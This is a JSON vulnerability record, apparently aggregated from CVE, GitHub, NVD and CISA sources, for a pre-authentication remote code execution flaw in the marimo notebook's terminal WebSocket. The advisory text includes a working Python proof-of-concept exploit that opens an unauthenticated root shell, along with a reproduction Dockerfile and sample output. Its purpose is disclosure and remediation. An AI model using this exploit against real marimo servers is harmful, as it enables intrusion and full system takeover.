{"id":"CVE-2026-39987","aliases":["CVE-2026-39987","GHSA-2679-6mx9-h9xc","PYSEC-2026-407"],"related":[],"kind":"vulnerability","state":"published","title":"marimo Affected by Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass","summary":"marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nMarimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.\n\nUnlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.\n\n## Affected Versions\n\nMarimo <= 0.20.4 \n\n## Vulnerability Details\n\n### Root Cause: Terminal WebSocket Missing Authentication\n\n`marimo/_server/api/endpoints/terminal.py` lines 340-356:\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n    app_state = AppState(websocket)\n    if app_state.mode != SessionMode.EDIT:\n        await websocket.close(...)\n        return\n    if not supports_terminal():\n        await websocket.close(...)\n        return\n    # No authentication check!\n    await websocket.accept()  # Accepts connection directly\n    # ...\n    child_pid, fd = pty.fork()  # Creates PTY shell\n```\n\nCompare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n    app_state = AppState(websocket)\n    validator = WebSocketConnectionValidator(websocket, app_state)\n    if not await validator.validate_auth():  # Correct auth check\n        return\n```\n\n### Authentication Middleware Limitation\n\nMarimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.\n\nThe `/terminal/ws` endpoint has neither a `@requires(\"edit\")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.\n\n### Attack Chain\n\n1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)\n2. `websocket.accept()` accepts the connection directly\n3. `pty.fork()` creates a PTY child process\n4. Full interactive shell with arbitrary command execution\n5. Commands run as root in default Docker deployments\n\nA single WebSocket connection yields a complete interactive shell.\n\n## Proof of Concept\n\n```python\nimport websocket\nimport time\n\n# Connect without any authentication\nws = websocket.WebSocket()\nws.connect('ws://TARGET:2718/terminal/ws')\ntime.sleep(2)\n\n# Drain initial output\ntry:\n    while True:\n        ws.settimeout(1)\n        ws.recv()\nexcept:\n    pass\n\n# Execute arbitrary command\nws.settimeout(10)\nws.send('id\\n')\ntime.sleep(2)\nprint(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)\nws.close()\n```\n\n### Reproduction Environment\n\n```dockerfile\nFROM python:3.12-slim\nRUN pip install --no-cache-dir marimo==0.20.4\nRUN mkdir -p /app/notebooks\nRUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py\nWORKDIR /app/notebooks\nEXPOSE 2718\nCMD [\"marimo\", \"edit\", \"--host\", \"0.0.0.0\", \"--port\", \"2718\", \".\"]\n```\n\n### Reproduction Result\n\nWith auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely:\n\n```\n$ python3 exp.py http://127.0.0.1:2718 exec \"id && whoami && hostname\"\n[+] No auth needed! Terminal WebSocket connected\n[+] Output:\nuid=0(root) gid=0(root) groups=0(root)\nroot\nddfc452129c3\n```\n\n## Suggested Remediation\n\n1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()`\n2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints\n3. Terminal functionality should only be available when explicitly enabled, not on by default\n\n## Impact\n\nAn unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands.","source":"kev"}],"published":"2026-04-08T21:50:58.000Z","modified":"2026-07-01T20:22:56.993Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-306"],"affected":[{"ranges":[{"version":"< 0.23.0","status":"affected"}],"vendor":"marimo-team","product":"marimo","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.23.0"}],"ecosystem":"PyPI","package":"marimo","purl":"pkg:pypi/marimo","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.23.0"}],"vendor":"coreweave","product":"marimo","cpe":"cpe:2.3:a:coreweave:marimo:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.23.0"}],"ecosystem":"PyPI","package":"marimo","purl":"pkg:pypi/marimo","source":"pysec"},{"ranges":[],"vendor":"Marimo","product":"Marimo","source":"kev"}],"references":[{"url":"https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc","tags":["exploit","kev","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec","kev"]},{"url":"https://github.com/marimo-team/marimo/pull/9098","tags":["issue-tracking","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours","tags":["exploit","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987","tags":["government-resource","us-government-resource","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39987","tags":["advisory","kev"],"sources":["ghsa","pysec","kev"]},{"url":"https://github.com/marimo-team/marimo","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39987","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/marimo","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-2679-6mx9-h9xc","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","kev":{"dateAdded":"2026-04-23","dueDate":"2026-05-07","name":"Marimo Remote Code Execution Vulnerability","requiredAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"notes":"https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc ; https://nvd.nist.gov/vuln/detail/CVE-2026-39987"},"ssvc":{"scorer":"CISA-ADP","exploitation":"active","automatable":"yes","technicalImpact":"total","date":"2026-04-23T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-39987","url":"https://www.cve.org/CVERecord?id=CVE-2026-39987","licence":"CVE Terms of Use","modified":"2026-04-24T03:55:20.777Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2679-6mx9-h9xc","url":"https://github.com/advisories/GHSA-2679-6mx9-h9xc","licence":"CC-BY-4.0","modified":"2026-06-29T12:26:12.729Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-39987","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39987","licence":"Public domain","modified":"2026-06-17T10:42:51.460Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-407","url":"https://osv.dev/vulnerability/PYSEC-2026-407","licence":"CC-BY-4.0","modified":"2026-07-01T20:22:56.993Z"},{"source":"kev","name":"CISA KEV","id":"CVE-2026-39987","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-39987","licence":"CC0-1.0","modified":"2026-04-23T00:00:00.000Z"}],"updatedAt":"2026-11-25T22:59:18.395Z","epss":{"score":0.99762,"percentile":0.99953,"date":"2026-12-01T12:00:22.000Z"}}